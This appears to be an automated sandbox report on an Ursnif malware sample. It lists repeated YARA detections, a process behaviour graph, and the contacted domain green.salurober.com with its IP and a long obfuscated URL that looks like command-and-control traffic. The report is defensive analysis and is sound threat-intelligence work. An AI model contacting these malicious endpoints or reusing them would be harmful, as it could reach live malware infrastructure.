Source: Yara match File source: 00000000.00000003.333514865.0000000000520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.329638923.0000000003FE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.329940794.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.rundll32.exe.6e1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.loaddll32.exe.528d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.7c8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.loaddll32.exe.6e1d0000.2.unpack, type: UNPACKEDPE
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.389725229.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389658064.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389739083.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.464518953.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389632359.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389705894.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389749777.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389559499.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389608210.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5568, type: MEMORY

Remote Access Functionality:

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Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.333514865.0000000000520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.329638923.0000000003FE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.329940794.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.rundll32.exe.6e1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.loaddll32.exe.528d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.7c8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.loaddll32.exe.6e1d0000.2.unpack, type: UNPACKEDPE
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.389725229.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389658064.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389739083.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.464518953.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389632359.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389705894.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389749777.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389559499.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389608210.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5568, type: MEMORY
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 406107 Sample: 6a76e615_by_Libranalysis Startdate: 06/05/2021 Architecture: WINDOWS Score: 88 23 Multi AV Scanner detection for domain / URL 2->23 25 Found malware configuration 2->25 27 Multi AV Scanner detection for submitted file 2->27 29 2 other signatures 2->29 7 loaddll32.exe 1 2->7         started        10 iexplore.exe 2 83 2->10         started        process3 signatures4 31 Writes or reads registry keys via WMI 7->31 33 Writes registry values via WMI 7->33 12 cmd.exe 1 7->12         started        14 rundll32.exe 7->14         started        16 iexplore.exe 35 10->16         started        process5 dnsIp6 19 rundll32.exe 12->19         started        21 green.salurober.com 34.86.224.8, 49704, 49705, 80 GOOGLEUS United States 16->21 process7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
34.86.224.8
green.salurober.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
green.salurober.com 34.86.224.8 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://green.salurober.com/egg0bSJn4ObK/ch_2F9lMPXs/fO3mZ53deXfDrA/fFpIrCwIBcA2fafEjJROE/_2FRp0luL60r80DP/FChSncsB8SqrhdJ/_2FXtQYnl2ITaT9OH4/qVdqvFpku/l5Z_2BwlLO28ejlDZ4Xv/ZR0P9bZC7mrWzK2nsLX/wmJroXqHSsCiyywQoJG_2B/ja6fWO6EY6PRe/fsgqsP8a/8D7PMyq0Et_2Bw5od_2BLED/JSk7_2F_2B/ptgvp19MaEwrG0884/hUO8hPN4NRV3/myPEhfLIkFj/6E7GZZkxutBKlj/2G265rer_2FHZz0gfwlBV/vusAOmr1_/2BAGh_2B false
  • Avira URL Cloud: safe
unknown